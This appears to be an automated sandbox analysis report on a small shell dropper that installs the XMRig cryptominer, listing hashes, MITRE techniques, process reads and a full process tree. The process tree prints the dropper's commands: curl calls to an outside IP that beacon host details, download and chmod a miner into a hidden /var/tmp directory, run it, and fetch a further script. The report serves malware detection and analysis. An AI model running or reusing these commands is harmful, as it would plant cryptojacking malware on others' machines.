xmrig | 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd

Analysis

max time kernel
5s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/10/2026, 18:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 402B
Sample261002-w3dn3aff98
SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
MD5 870fea7e93e2183e85ff04ee3c918393
SHA1 a386c4b90cdd08f91296426f559c52449ac15431
SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
TLSH
T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xmrig
behavioral1/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1521	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.nsc/sysmond	1524	sh

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/470/stat	ps
File opened for reading	/proc/707/cmdline	ps
File opened for reading	/proc/1335/stat	ps
File opened for reading	/proc/78/status	ps
File opened for reading	/proc/162/status	ps
File opened for reading	/proc/942/status	ps
File opened for reading	/proc/1019/cmdline	ps
File opened for reading	/proc/1092/stat	ps
File opened for reading	/proc/1247/stat	ps
File opened for reading	/proc/1486/status	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/169/status	ps
File opened for reading	/proc/201/cmdline	ps
File opened for reading	/proc/574/status	ps
File opened for reading	/proc/1083/stat	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/36/stat	ps
File opened for reading	/proc/1498/stat	ps
File opened for reading	/proc/34/status	ps
File opened for reading	/proc/137/status	ps
File opened for reading	/proc/160/stat	ps
File opened for reading	/proc/1044/status	ps
File opened for reading	/proc/201/stat	ps
File opened for reading	/proc/651/cmdline	ps
File opened for reading	/proc/1090/stat	ps
File opened for reading	/proc/1292/cmdline	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/473/status	ps
File opened for reading	/proc/476/status	ps
File opened for reading	/proc/961/cmdline	ps
File opened for reading	/proc/965/stat	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/968/stat	ps
File opened for reading	/proc/1031/cmdline	ps
File opened for reading	/proc/1292/status	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/168/stat	ps
File opened for reading	/proc/173/stat	ps
File opened for reading	/proc/237/stat	ps
File opened for reading	/proc/490/cmdline	ps
File opened for reading	/proc/546/cmdline	ps
File opened for reading	/proc/1040/stat	ps
File opened for reading	/proc/1065/cmdline	ps
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/472/status	ps
File opened for reading	/proc/83/stat	ps
File opened for reading	/proc/324/cmdline	ps
File opened for reading	/proc/1087/status	ps
File opened for reading	/proc/161/cmdline	ps
File opened for reading	/proc/901/stat	ps
File opened for reading	/proc/167/status	ps
File opened for reading	/proc/330/cmdline	ps
File opened for reading	/proc/474/stat	ps
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/1035/cmdline	ps
File opened for reading	/proc/1073/status	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/165/cmdline	ps

/tmp/s
/tmp/s
1⤵
PID:1488
- /usr/bin/cut
  cut -c1-20
  2⤵
  PID:1492
- /usr/bin/tr
  tr -cd A-Za-z0-9._-
  2⤵
  PID:1491
- /bin/hostname
  hostname
  2⤵
  PID:1490
- /usr/bin/curl
  curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=ubuntu1804-amd64-202"
  2⤵
  PID:1494
- /bin/sh
  sh
  2⤵
  - Executes dropped EXE
  PID:1502
- - /bin/hostname
    hostname
    3⤵
    PID:1504
- - /bin/uname
    uname -s
    3⤵
    PID:1505
- - /bin/uname
    uname -m
    3⤵
    PID:1506
- - /sbin/sysctl
    sysctl -n kern.osrelease
    3⤵
    PID:1507
- - /usr/bin/id
    id -u
    3⤵
    PID:1508
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxubuntu1804-amd64-202&h=ubuntu1804-amd64-20260513-en-13&v=env_Linux_x86_64_osrel=_uid=0"
    3⤵
    PID:1509
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:1510
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:1511
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:1512
- - /bin/grep
    grep -c "[s]ysmond"
    3⤵
    PID:1515
- - /bin/ps
    ps -ax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:1514
- - /bin/rm
    rm -f sysmond
    3⤵
    PID:1516
- - /usr/bin/curl
    curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
    3⤵
    PID:1517
- - /usr/bin/tr
    tr -d " "
    3⤵
    PID:1520
- - /usr/bin/wc
    wc -c
    3⤵
    PID:1519
- - /bin/chmod
    chmod 755 sysmond
    3⤵
    - File and Directory Permissions Modification
    PID:1521
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxubuntu1804-amd64-202&h=ubuntu1804-amd64-20260513-en-13&v=dl_sz=3620152"
    3⤵
    PID:1522
- - /bin/sed
    sed "s/[^a-zA-Z0-9._-]/_/g"
    3⤵
    PID:1526
- - /bin/sed
    sed -n 1p
    3⤵
    PID:1525
- - /var/tmp/.nsc/sysmond
    ./sysmond --version
    3⤵
    PID:1524
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxubuntu1804-amd64-202&h=ubuntu1804-amd64-20260513-en-13&v=ver="
    3⤵
    PID:1529
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxubuntu1804-amd64-202&h=ubuntu1804-amd64-20260513-en-13&v=exe_fail_rc=0"
    3⤵
    PID:1530
- /usr/bin/curl
  curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
  2⤵
  PID:1501

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysmond

Path /var/tmp/.nsc/sysmond
Size 3.5MB
SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
MD5 5eafa37cdf767f4a8f2c9801d57c45a1
SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
TLSH
T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download